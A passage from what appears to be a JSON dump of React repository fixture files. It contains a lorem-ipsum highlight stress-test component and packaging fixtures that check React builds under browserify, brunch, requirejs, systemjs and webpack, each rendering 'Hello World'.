aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\n  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\n  `;\n\nconst loremIpsum = text + text;\n\nfunction TextSymbol({char, highlight}) {\n  const randomColor = highlight\n    ? `#${Math.floor(Math.random() * 16777215).toString(16)}`\n    : 'transparent';\n  return (\n    <span className=\"text-symbol\" style={{backgroundColor: randomColor}}>\n      {char}\n      <div className=\"hovercard\">\n        <p>Character: {char}</p>\n        <p>Color: {randomColor}</p>\n      </div>\n    </span>\n  );\n}\n\nfunction TextLine({sentence, highlight, lineNumber}) {\n  const randomColor = highlight\n    ? `#${Math.floor(Math.random() * 16777215).toString(16)}`\n    : 'transparent';\n  return (\n    <div style={{backgroundColor: randomColor}}>\n      <span className=\"line-number\">{lineNumber}</span>\n      {sentence.split('').map((char, index) => (\n        <TextSymbol key={index} char={char} highlight={highlight} />\n      ))}\n    </div>\n  );\n}\n\nfunction App() {\n  const [highlight, setHighlight] = useState(false);\n\n  const toggleHighlight = () => {\n    console.time('toggleHighlight');\n    flushSync(() => {\n      setHighlight(!highlight);\n    });\n    console.timeEnd('toggleHighlight');\n  };\n\n  return (\n    <div className=\"App\">\n      <header className=\"App-header\">Owner Stacks Stress Test</header>\n      <div className=\"page\">\n        <div className={`content ${highlight ? 'highlight' : ''}`}>\n          {loremIpsum\n            .trim()\n            .split('\\n')\n            .map((sentence, index) => (\n              <TextLine\n                key={index}\n                sentence={sentence.trim()}\n                highlight={highlight}\n                lineNumber={index + 1}\n              />\n            ))}\n        </div>\n        <div className=\"sidebar\">\n          <button onClick={toggleHighlight}>\n            {highlight ? 'Remove Highlight' : 'Highlight Content'}\n          </button>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nexport default App;\n"
  },
  {
    "path": "fixtures/owner-stacks/src/index.css",
    "content": "body {\n  margin: 0;\n  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',\n    'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',\n    sans-serif;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n\ncode {\n  font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',\n    monospace;\n}\n"
  },
  {
    "path": "fixtures/owner-stacks/src/index.js",
    "content": "import React from 'react';\nimport ReactDOM from 'react-dom/client';\nimport './index.css';\nimport App from './App';\nimport reportWebVitals from './reportWebVitals';\n\nconst root = ReactDOM.createRoot(document.getElementById('root'));\nroot.render(\n  <React.StrictMode>\n    <App />\n  </React.StrictMode>\n);\n\n// If you want to start measuring performance in your app, pass a function\n// to log results (for example: reportWebVitals(console.log))\n// or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals\nreportWebVitals();\n"
  },
  {
    "path": "fixtures/owner-stacks/src/reportWebVitals.js",
    "content": "const reportWebVitals = onPerfEntry => {\n  if (onPerfEntry && onPerfEntry instanceof Function) {\n    import('web-vitals').then(({getCLS, getFID, getFCP, getLCP, getTTFB}) => {\n      getCLS(onPerfEntry);\n      getFID(onPerfEntry);\n      getFCP(onPerfEntry);\n      getLCP(onPerfEntry);\n      getTTFB(onPerfEntry);\n    });\n  }\n};\n\nexport default reportWebVitals;\n"
  },
  {
    "path": "fixtures/packaging/README.md",
    "content": "# Manual Testing Fixtures\n\nThis folder exists for **React contributors** only.  \nIf you use React, you don't need to worry about it.\n\nThese fixtures verify that the built React distributions are usable in different environments.  \n**They are not running automatically.** (At least not yet. Feel free to contribute to automate them.)\n\nRun them when you make changes to how we package React and ReactDOM.\n\n## How to Run\n\nFirst, build React and the fixtures:\n\n```\ncd react\nnpm run build\nnode fixtures/packaging/build-all.js\n```\n\nThen run a local server, e.g.\n\n```\nnpx pushstate-server .\n```\n\nand open the following URL in your browser: [http://localhost:9000/fixtures/packaging/index.html](http://localhost:9000/fixtures/packaging/index.html)\n\nYou should see two things:\n\n* A number of iframes (corresponding to various builds), with \"Hello World\" rendered in each iframe.\n* No errors in the console.\n"
  },
  {
    "path": "fixtures/packaging/babel-standalone/dev.html",
    "content": "<html>\n  <body>\n    <script src=\"../../../build/oss-experimental/react/umd/react.development.js\"></script>\n    <script src=\"../../../build/oss-experimental/react-dom/umd/react-dom.development.js\"></script>\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.js\"></script>\n    <div id=\"container\"></div>\n    <script type=\"text/babel\">\n      ReactDOM.render(\n        <h1>Hello World!</h1>,\n        document.getElementById('container')\n      );\n    </script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/browserify/dev/.gitignore",
    "content": "output.js\n"
  },
  {
    "path": "fixtures/packaging/browserify/dev/index.html",
    "content": "<html>\n  <body>\n    <div id=\"container\"></div>\n    <script src=\"output.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/browserify/dev/input.js",
    "content": "var React = require('react');\nvar ReactDOM = require('react-dom');\n\nReactDOM.render(\n  React.createElement('h1', null, 'Hello World!'),\n  document.getElementById('container')\n);\n"
  },
  {
    "path": "fixtures/packaging/browserify/dev/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"browserify-dev-fixture\",\n  \"dependencies\": {\n    \"browserify\": \"^13.3.0\"\n  },\n  \"scripts\": {\n    \"build\": \"rm -f output.js && browserify ./input.js -o output.js\",\n    \"prebuild\": \"cp -r ../../../../build/oss-experimental/* ./node_modules/\"\n  }\n}\n"
  },
  {
    "path": "fixtures/packaging/browserify/prod/.gitignore",
    "content": "output.js\n"
  },
  {
    "path": "fixtures/packaging/browserify/prod/index.html",
    "content": "<html>\n  <body>\n    <div id=\"container\"></div>\n    <script src=\"output.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/browserify/prod/input.js",
    "content": "var React = require('react');\nvar ReactDOM = require('react-dom');\n\nReactDOM.render(\n  React.createElement('h1', null, 'Hello World!'),\n  document.getElementById('container')\n);\n"
  },
  {
    "path": "fixtures/packaging/browserify/prod/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"browserify-prod-fixture\",\n  \"dependencies\": {\n    \"browserify\": \"^13.3.0\"\n  },\n  \"scripts\": {\n    \"build\": \"rm -f output.js && browserify ./input.js -g [envify --NODE_ENV 'production'] -o output.js\",\n    \"prebuild\": \"cp -r ../../../../build/oss-experimental/* ./node_modules/\"\n  },\n  \"devDependencies\": {\n    \"envify\": \"^4.0.0\"\n  }\n}\n"
  },
  {
    "path": "fixtures/packaging/brunch/dev/.gitignore",
    "content": "output.js\noutput.js.map"
  },
  {
    "path": "fixtures/packaging/brunch/dev/app/initialize.js",
    "content": "var React = require('react');\nvar ReactDOM = require('react-dom');\n\nReactDOM.render(\n  React.createElement('h1', null, 'Hello World!'),\n  document.getElementById('container')\n);\n"
  },
  {
    "path": "fixtures/packaging/brunch/dev/config.js",
    "content": "exports.config = {\n  paths: {\n    public: '.',\n  },\n  files: {\n    javascripts: {\n      joinTo: 'output.js',\n    },\n  },\n};\n"
  },
  {
    "path": "fixtures/packaging/brunch/dev/index.html",
    "content": "<html>\n  <body>\n    <div id=\"container\"></div>\n    <script src=\"output.js\"></script>\n    <script>require('initialize');</script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/brunch/dev/input.js",
    "content": "var React = require('react');\nvar ReactDOM = require('react-dom');\n\nReactDOM.render(\n  React.createElement('h1', null, 'Hello World!'),\n  document.getElementById('container')\n);\n"
  },
  {
    "path": "fixtures/packaging/brunch/dev/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"brunch-dev-fixture\",\n  \"devDependencies\": {\n    \"brunch\": \"^2.9.1\",\n    \"javascript-brunch\": \"^2.0.0\"\n  },\n  \"scripts\": {\n    \"build\": \"rm -rf public && brunch build\",\n    \"prebuild\": \"cp -r ../../../../build/oss-experimental/* ./node_modules/\"\n  }\n}\n"
  },
  {
    "path": "fixtures/packaging/brunch/prod/.gitignore",
    "content": "output.js\noutput.js.map"
  },
  {
    "path": "fixtures/packaging/brunch/prod/app/initialize.js",
    "content": "var React = require('react');\nvar ReactDOM = require('react-dom');\n\nReactDOM.render(\n  React.createElement('h1', null, 'Hello World!'),\n  document.getElementById('container')\n);\n"
  },
  {
    "path": "fixtures/packaging/brunch/prod/config.js",
    "content": "exports.config = {\n  paths: {\n    public: '.',\n  },\n  files: {\n    javascripts: {\n      joinTo: 'output.js',\n    },\n  },\n};\n"
  },
  {
    "path": "fixtures/packaging/brunch/prod/index.html",
    "content": "<html>\n  <body>\n    <div id=\"container\"></div>\n    <script src=\"output.js\"></script>\n    <script>require('initialize');</script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/brunch/prod/input.js",
    "content": "var React = require('react');\nvar ReactDOM = require('react-dom');\n\nReactDOM.render(\n  React.createElement('h1', null, 'Hello World!'),\n  document.getElementById('container')\n);\n"
  },
  {
    "path": "fixtures/packaging/brunch/prod/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"brunch-prod-fixture\",\n  \"devDependencies\": {\n    \"brunch\": \"^2.9.1\",\n    \"javascript-brunch\": \"^2.0.0\"\n  },\n  \"scripts\": {\n    \"build\": \"rm -rf public && brunch build -p\",\n    \"prebuild\": \"cp -r ../../../../build/oss-experimental/* ./node_modules/\"\n  }\n}\n"
  },
  {
    "path": "fixtures/packaging/build-all.js",
    "content": "const fs = require('fs');\nconst path = require('path');\nconst child_process = require('child_process');\n\nconst fixtureDirs = fs.readdirSync(__dirname).filter(file => {\n  return fs.statSync(path.join(__dirname, file)).isDirectory();\n});\n\nconst cmdArgs = [\n  {cmd: 'yarn', args: ['install']},\n  {cmd: 'yarn', args: ['build']},\n];\n\nfunction buildFixture(cmdArg, path) {\n  const opts = {\n    cwd: path,\n    stdio: 'inherit',\n  };\n  const result = child_process.spawnSync(cmdArg.cmd, cmdArg.args, opts);\n  if (result.status !== 0) {\n    throw new Error(`Failed to build fixtures!`);\n  }\n}\n\nfixtureDirs.forEach(dir => {\n  cmdArgs.forEach(cmdArg => {\n    // we only care about directories that have DEV and PROD directories in\n    // otherwise they don't need to be built\n    const devPath = path.join(__dirname, dir, 'dev');\n\n    if (fs.existsSync(devPath)) {\n      buildFixture(cmdArg, devPath);\n    }\n    const prodPath = path.join(__dirname, dir, 'prod');\n\n    if (fs.existsSync(prodPath)) {\n      buildFixture(cmdArg, prodPath);\n    }\n  });\n});\n\nconsole.log('-------------------------');\nconsole.log('All fixtures were built!');\nconsole.log('Now ensure all frames display a welcome message:');\nconsole.log('  npm install -g serve');\nconsole.log('  serve ../..');\nconsole.log('  open http://localhost:5000/fixtures/packaging/');\nconsole.log('-------------------------');\n"
  },
  {
    "path": "fixtures/packaging/globals/dev.html",
    "content": "<html>\n  <body>\n    <script src=\"../../../build/oss-experimental/react/umd/react.development.js\"></script>\n    <script src=\"../../../build/oss-experimental/react-dom/umd/react-dom.development.js\"></script>\n    <div id=\"container\"></div>\n    <script>\n      ReactDOM.render(\n        React.createElement('h1', null, 'Hello World!'),\n        document.getElementById('container')\n      );\n    </script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/globals/prod.html",
    "content": "<html>\n  <body>\n    <script src=\"../../../build/oss-experimental/react/umd/react.production.min.js\"></script>\n    <script src=\"../../../build/oss-experimental/react-dom/umd/react-dom.production.min.js\"></script>\n    <div id=\"container\"></div>\n    <script>\n      ReactDOM.render(\n        React.createElement('h1', null, 'Hello World!'),\n        document.getElementById('container')\n      );\n    </script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/index.html",
    "content": "<html>\n  <head>\n    <style>\n      .frame {\n        display: block;\n        float: left;\n        width: 350px;\n        overflow: hidden;\n      }\n    </style>\n  </head>\n  <body>\n    <h1>bundle packaging</h1>\n    <p>If you see Hello World in each frame with no console errors, all is well!</p>\n    <div class=\"frame\">\n      <h2>babel-standalone (dev only)</h2>\n      <iframe src=\"/fixtures/packaging/babel-standalone/dev.html\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>globals (dev)</h2>\n      <iframe src=\"/fixtures/packaging/globals/dev.html\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>globals (prod)</h2>\n      <iframe src=\"/fixtures/packaging/globals/prod.html\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>requirejs (dev)</h2>\n      <iframe src=\"/fixtures/packaging/requirejs/dev.html\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>requirejs (prod)</h2>\n      <iframe src=\"/fixtures/packaging/requirejs/prod.html\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>systemjs (dev)</h2>\n      <iframe src=\"/fixtures/packaging/systemjs/dev.html\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>systemjs (prod)</h2>\n      <iframe src=\"/fixtures/packaging/systemjs/dev.html\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>browserify (dev)</h2>\n      <iframe src=\"/fixtures/packaging/browserify/dev/\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>browserify (prod)</h2>\n      <iframe src=\"/fixtures/packaging/browserify/prod/\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>brunch (dev)</h2>\n      <iframe src=\"/fixtures/packaging/brunch/dev/\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>brunch (prod)</h2>\n      <iframe src=\"/fixtures/packaging/brunch/prod/\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>rjs (dev)</h2>\n      <iframe src=\"/fixtures/packaging/rjs/dev/\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>rjs (prod)</h2>\n      <iframe src=\"/fixtures/packaging/rjs/prod/\"></iframe>\n    </div>    \n    <div class=\"frame\">\n      <h2>systemjs-builder (dev)</h2>\n      <iframe src=\"/fixtures/packaging/systemjs-builder/dev/\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>systemjs-builder (prod)</h2>\n      <iframe src=\"/fixtures/packaging/systemjs-builder/prod/\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>webpack (dev)</h2>\n      <iframe src=\"/fixtures/packaging/webpack/dev/\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>webpack (prod)</h2>\n      <iframe src=\"/fixtures/packaging/webpack/prod/\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>webpack-alias (dev)</h2>\n      <iframe src=\"/fixtures/packaging/webpack-alias/dev/\"></iframe>\n    </div>\n    <div class=\"frame\">\n      <h2>webpack-alias (prod)</h2>\n      <iframe src=\"/fixtures/packaging/webpack-alias/prod/\"></iframe>\n    </div>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/requirejs/dev.html",
    "content": "<html>\n  <body>\n    <script src=\"https://unpkg.com/requirejs@2.3.2/require.js\"></script>\n    <div id=\"container\"></div>\n    <script>\n      requirejs.config({\n        paths: {\n          react: '../../../build/oss-experimental/react/umd/react.development',\n          'react-dom': '../../../build/oss-experimental/react-dom/umd/react-dom.development'\n        }\n      });\n\n      require(['react', 'react-dom'], function(React, ReactDOM) {\n        ReactDOM.render(\n          React.createElement('h1', null, 'Hello World!'),\n          document.getElementById('container')\n        );\n      });\n    </script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/requirejs/prod.html",
    "content": "<html>\n  <body>\n    <script src=\"https://unpkg.com/requirejs@2.3.2/require.js\"></script>\n    <div id=\"container\"></div>\n    <script>\n      requirejs.config({\n        paths: {\n          react: '../../../build/oss-experimental/react/umd/react.production.min',\n          'react-dom': '../../../build/oss-experimental/react-dom/umd/react-dom.production.min'\n        }\n      });\n\n      require(['react', 'react-dom'], function(React, ReactDOM) {\n        ReactDOM.render(\n          React.createElement('h1', null, 'Hello World!'),\n          document.getElementById('container')\n        );\n      });\n    </script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/rjs/dev/.gitignore",
    "content": "output.js"
  },
  {
    "path": "fixtures/packaging/rjs/dev/config.js",
    "content": "module.exports = {\n  baseUrl: '.',\n  name: 'input',\n  out: 'output.js',\n  optimize: 'none',\n  paths: {\n    react: '../../../../build/oss-experimental/react/umd/react.development',\n    'react-dom':\n      '../../../../build/oss-experimental/react-dom/umd/react-dom.development',\n    schedule:\n      '../../../../build/oss-experimental/scheduler/umd/schedule.development',\n  },\n};\n"
  },
  {
    "path": "fixtures/packaging/rjs/dev/index.html",
    "content": "<html>\n  <body>\n    <div id=\"container\"></div>\n    <script src=\"https://unpkg.com/requirejs@2.3.2/require.js\"></script>\n    <script src=\"output.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/rjs/dev/input.js",
    "content": "require(['react', 'react-dom'], function (React, ReactDOM) {\n  ReactDOM.render(\n    React.createElement('h1', null, 'Hello World!'),\n    document.getElementById('container')\n  );\n});\n"
  },
  {
    "path": "fixtures/packaging/rjs/dev/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"rjs-dev-fixture\",\n  \"dependencies\": {\n    \"requirejs\": \"^2.3.2\"\n  },\n  \"scripts\": {\n    \"build\": \"rm -f output.js && r.js -o config.js\"\n  }\n}\n"
  },
  {
    "path": "fixtures/packaging/rjs/prod/.gitignore",
    "content": "output.js"
  },
  {
    "path": "fixtures/packaging/rjs/prod/config.js",
    "content": "module.exports = {\n  baseUrl: '.',\n  name: 'input',\n  out: 'output.js',\n  optimize: 'none',\n  paths: {\n    react: '../../../../build/oss-experimental/react/umd/react.production.min',\n    'react-dom':\n      '../../../../build/oss-experimental/react-dom/umd/react-dom.production.min',\n    schedule:\n      '../../../../build/oss-experimental/scheduler/umd/schedule.development',\n  },\n};\n"
  },
  {
    "path": "fixtures/packaging/rjs/prod/index.html",
    "content": "<html>\n  <body>\n    <div id=\"container\"></div>\n    <script src=\"https://unpkg.com/requirejs@2.3.2/require.js\"></script>\n    <script src=\"output.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/rjs/prod/input.js",
    "content": "require(['react', 'react-dom'], function (React, ReactDOM) {\n  ReactDOM.render(\n    React.createElement('h1', null, 'Hello World!'),\n    document.getElementById('container')\n  );\n});\n"
  },
  {
    "path": "fixtures/packaging/rjs/prod/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"rjs-prod-fixture\",\n  \"dependencies\": {\n    \"requirejs\": \"^2.3.2\"\n  },\n  \"scripts\": {\n    \"build\": \"rm -f output.js && r.js -o config.js\"\n  }\n}\n"
  },
  {
    "path": "fixtures/packaging/systemjs/dev.html",
    "content": "<html>\n  <body>\n    <script src=\"https://unpkg.com/systemjs@0.19.41/dist/system.js\"></script>\n    <div id=\"container\"></div>\n    <script>\n      System.config({\n        paths: {\n          react: '../../../build/oss-experimental/react/umd/react.development.js',\n          'react-dom': '../../../build/oss-experimental/react-dom/umd/react-dom.development.js'\n        }\n      });\n\n      Promise.all([\n        System.import(\"react\"),\n        System.import(\"react-dom\")\n      ]).then(function (deps) {\n        var React = deps[0];\n        var ReactDOM = deps[1];\n\n        ReactDOM.render(\n          React.createElement('h1', null, 'Hello World!'),\n          document.getElementById('container')\n        );\n      });\n    </script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/systemjs/prod.html",
    "content": "<html>\n  <body>\n    <script src=\"https://unpkg.com/systemjs@0.19.41/dist/system.js\"></script>\n    <div id=\"container\"></div>\n    <script>\n      System.config({\n        paths: {\n          react: '../../../build/oss-experimental/react/umd/react.production.min.js',\n          'react-dom': '../../../build/oss-experimental/react-dom/umd/react-dom.production.min.js'\n        }\n      });\n\n      Promise.all([\n        System.import(\"react\"),\n        System.import(\"react-dom\")\n      ]).then(function (deps) {\n        var React = deps[0];\n        var ReactDOM = deps[1];\n\n        ReactDOM.render(\n          React.createElement('h1', null, 'Hello World!'),\n          document.getElementById('container')\n        );\n      });\n    </script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/systemjs-builder/dev/.gitignore",
    "content": "output.js"
  },
  {
    "path": "fixtures/packaging/systemjs-builder/dev/build.js",
    "content": "var Builder = require('systemjs-builder');\n\nvar builder = new Builder('/', './config.js');\nbuilder\n  .buildStatic('./input.js', './output.js')\n  .then(function () {\n    console.log('Build complete');\n  })\n  .catch(function (err) {\n    console.log('Build error');\n    console.log(err);\n  });\n"
  },
  {
    "path": "fixtures/packaging/systemjs-builder/dev/config.js",
    "content": "System.config({\n  paths: {\n    react: '../../../../build/oss-experimental/react/umd/react.development.js',\n    'react-dom':\n      '../../../../build/oss-experimental/react-dom/umd/react-dom.development.js',\n    schedule:\n      '../../../../build/oss-experimental/scheduler/umd/schedule.development',\n  },\n});\n"
  },
  {
    "path": "fixtures/packaging/systemjs-builder/dev/index.html",
    "content": "<html>\n  <body>\n    <div id=\"container\"></div>\n    <script src=\"output.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/systemjs-builder/dev/input.js",
    "content": "import React from 'react';\nimport ReactDOM from 'react-dom';\n\nReactDOM.render(\n  React.createElement('h1', null, 'Hello World!'),\n  document.getElementById('container')\n);\n"
  },
  {
    "path": "fixtures/packaging/systemjs-builder/dev/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"systemjs-dev-fixture\",\n  \"dependencies\": {\n    \"systemjs-builder\": \"^0.15.34\"\n  },\n  \"scripts\": {\n    \"build\": \"rm -f output.js && node build.js\"\n  }\n}\n"
  },
  {
    "path": "fixtures/packaging/systemjs-builder/prod/.gitignore",
    "content": "output.js"
  },
  {
    "path": "fixtures/packaging/systemjs-builder/prod/build.js",
    "content": "var Builder = require('systemjs-builder');\n\nvar builder = new Builder('/', './config.js');\nbuilder\n  .buildStatic('./input.js', './output.js')\n  .then(function () {\n    console.log('Build complete');\n  })\n  .catch(function (err) {\n    console.log('Build error');\n    console.log(err);\n  });\n"
  },
  {
    "path": "fixtures/packaging/systemjs-builder/prod/config.js",
    "content": "System.config({\n  paths: {\n    react:\n      '../../../../build/oss-experimental/react/umd/react.production.min.js',\n    'react-dom':\n      '../../../../build/oss-experimental/react-dom/umd/react-dom.production.min.js',\n    schedule:\n      '../../../../build/oss-experimental/scheduler/umd/schedule.development',\n  },\n});\n"
  },
  {
    "path": "fixtures/packaging/systemjs-builder/prod/index.html",
    "content": "<html>\n  <body>\n    <div id=\"container\"></div>\n    <script src=\"output.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/systemjs-builder/prod/input.js",
    "content": "import React from 'react';\nimport ReactDOM from 'react-dom';\n\nReactDOM.render(\n  React.createElement('h1', null, 'Hello World!'),\n  document.getElementById('container')\n);\n"
  },
  {
    "path": "fixtures/packaging/systemjs-builder/prod/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"systemjs-prod-fixture\",\n  \"dependencies\": {\n    \"systemjs-builder\": \"^0.15.34\"\n  },\n  \"scripts\": {\n    \"build\": \"rm -f output.js && node build.js\"\n  }\n}\n"
  },
  {
    "path": "fixtures/packaging/webpack/dev/.gitignore",
    "content": "output.js"
  },
  {
    "path": "fixtures/packaging/webpack/dev/config.js",
    "content": "var path = require('path');\n\nmodule.exports = {\n  entry: './input',\n  output: {\n    filename: 'output.js',\n  },\n  resolve: {\n    root: path.resolve('../../../../build/oss-experimental/'),\n  },\n};\n"
  },
  {
    "path": "fixtures/packaging/webpack/dev/index.html",
    "content": "<html>\n  <body>\n    <div id=\"container\"></div>\n    <script src=\"output.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/webpack/dev/input.js",
    "content": "var React = require('react');\nvar ReactDOM = require('react-dom');\n\nReactDOM.render(\n  React.createElement('h1', null, 'Hello World!'),\n  document.getElementById('container')\n);\n"
  },
  {
    "path": "fixtures/packaging/webpack/dev/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"webpack-dev-fixture\",\n  \"dependencies\": {\n    \"webpack\": \"^1.14.0\"\n  },\n  \"scripts\": {\n    \"build\": \"rm -f output.js && webpack --config config.js\"\n  }\n}\n"
  },
  {
    "path": "fixtures/packaging/webpack/prod/.gitignore",
    "content": "output.js"
  },
  {
    "path": "fixtures/packaging/webpack/prod/config.js",
    "content": "var path = require('path');\nvar webpack = require('webpack');\n\nmodule.exports = {\n  entry: './input',\n  output: {\n    filename: 'output.js',\n  },\n  resolve: {\n    root: path.resolve('../../../../build/oss-experimental/'),\n  },\n  plugins: [\n    new webpack.DefinePlugin({\n      'process.env': {\n        NODE_ENV: JSON.stringify('production'),\n      },\n    }),\n  ],\n};\n"
  },
  {
    "path": "fixtures/packaging/webpack/prod/index.html",
    "content": "<html>\n  <body>\n    <div id=\"container\"></div>\n    <script src=\"output.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/webpack/prod/input.js",
    "content": "var React = require('react');\nvar ReactDOM = require('react-dom');\n\nReactDOM.render(\n  React.createElement('h1', null, 'Hello World!'),\n  document.getElementById('container')\n);\n"
  },
  {
    "path": "fixtures/packaging/webpack/prod/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"webpack-prod-fixture\",\n  \"dependencies\": {\n    \"webpack\": \"^1.14.0\"\n  },\n  \"scripts\": {\n    \"build\": \"rm -f output.js && webpack --config config.js\"\n  }\n}\n"
  },
  {
    "path": "fixtures/packaging/webpack-alias/dev/.gitignore",
    "content": "output.js"
  },
  {
    "path": "fixtures/packaging/webpack-alias/dev/config.js",
    "content": "var path = require('path');\n\nmodule.exports = {\n  entry: './input',\n  output: {\n    filename: 'output.js',\n  },\n  resolve: {\n    root: path.resolve('../../../../build/oss-experimental'),\n    alias: {\n      react: 'react/umd/react.development',\n      'react-dom': 'react-dom/umd/react-dom.development',\n    },\n  },\n};\n"
  },
  {
    "path": "fixtures/packaging/webpack-alias/dev/index.html",
    "content": "<html>\n  <body>\n    <div id=\"container\"></div>\n    <script src=\"output.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/webpack-alias/dev/input.js",
    "content": "var React = require('react');\nvar ReactDOM = require('react-dom');\n\nReactDOM.render(\n  React.createElement('h1', null, 'Hello World!'),\n  document.getElementById('container')\n);\n"
  },
  {
    "path": "fixtures/packaging/webpack-alias/dev/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"webpack-alias-dev-fixture\",\n  \"dependencies\": {\n    \"webpack\": \"^1.14.0\"\n  },\n  \"scripts\": {\n    \"build\": \"rm -f output.js && webpack --config config.js\"\n  }\n}\n"
  },
  {
    "path": "fixtures/packaging/webpack-alias/prod/.gitignore",
    "content": "output.js"
  },
  {
    "path": "fixtures/packaging/webpack-alias/prod/config.js",
